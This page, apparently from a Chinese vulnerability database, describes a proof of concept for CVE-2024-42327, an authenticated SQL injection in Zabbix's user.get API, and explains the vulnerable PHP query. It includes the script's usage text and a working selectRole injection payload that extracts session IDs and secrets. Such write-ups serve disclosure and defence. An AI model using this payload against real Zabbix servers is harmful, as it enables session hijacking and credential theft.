关联漏洞
标题:
Zabbix SQL注入漏洞
(CVE-2024-42327)
描述:Zabbix是Zabbix公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。 Zabbix 6.0.0至6.0.31版本、6.4.0至6.4.16版本和7.0.0版本存在SQL注入漏洞,该漏洞源于CUser类的addRelatedObjects函数中存在SQL注入漏洞,允许攻击者操纵数据库查询。
描述
POC for CVE-2024-42327, an authenticated SQL Injection in Zabbix through the user.get API Method
介绍
# CVE-2024-42327 - Zabbix SQL Injection Vulnerability (SQLI)
POC for CVE-2024-42327, an authenticated SQL Injection in Zabbix through the user.get API Method
## CVE Description
The vulnerability exists in the user.get API endpoint that can be exploited by a non-admin user with API access, including accounts with the default User role.
The SQL injection flaw exists in the CUser class in the addRelatedObjects function. This function is being called from the CUser.get function, which is available to users with API access.
An attacker may inject SQL commands by manipulating API calls.
Successful exploitation of the vulnerability may allow an attacker to gain unauthorized access and control.
### Affected Versions
- 6.0.0 – 6.0.31
- 6.4.0 – 6.4.16
- 7.0.0
## POC
This POC will leak user credentials from the database, as well as leaking session tokens to authenticate to the API with.
The option exists to run a custom SQL query (`--query`).
### Usage
```
python3 CVE-2024-42327_Zabbix_SQLI.py -h
usage: CVE-2024-42327_Zabbix_SQLI.py [-h] -u URL -U USERNAME -P PASSWORD [--query QUERY]
Accept a URL, USERNAME, PASSWORD, and an optional custom SQL query.
options:
-h, --help show this help message and exit
-u URL, --url URL The URL to Zabbix (please include the path - http://example.com/zabbix/)
-U USERNAME, --username USERNAME
The username to authenticate with
-P PASSWORD, --password PASSWORD
The password to authenticate with
--query QUERY An optional custom SQL query to run through the SQL Injection
```
### Example
```
python3 CVE-2024-42327_Zabbix_SQLI.py -u http://example.com/zabbix/ -U user -P password
```
## Vulnerability Examination
Examining the code at https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php in the `addRelatedObjects` function, we easily find the vulnerable SQL Query (lines 3046 - 3051)
```php
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
```
It is immediately obvious that the values included in `$options['selectRole']` is passed into the SQL query.
A typical JSON Blob to hit this part of the code looks like the following:
```json
{
"jsonrpc": "2.0",
"auth": "AUTH_TOKEN_HERE",
"id": 1,
"method": "user.get",
"params": {
"output": [
"userid",
"username"
],
"selectRole": [
"type",
"roleid",
"name",
"readonly"
]
}
}
```
We may craft the `"selectRole"` values to allow for SQL Injection
```
"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions)"]
```
The above injection makes the SQL query something like the below:
```sql
SELECT u.userid.name, r.name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions) FROM users u, role r WHERE u.roleid=r.roleid and u.userid in (1)
```
文件快照
[4.0K] /data/pocs/2fc5f493505cd79d3f6b72273747257133fb6416
├── [5.5K] CVE-2024-42327_Zabbix_SQLI.py
└── [3.0K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。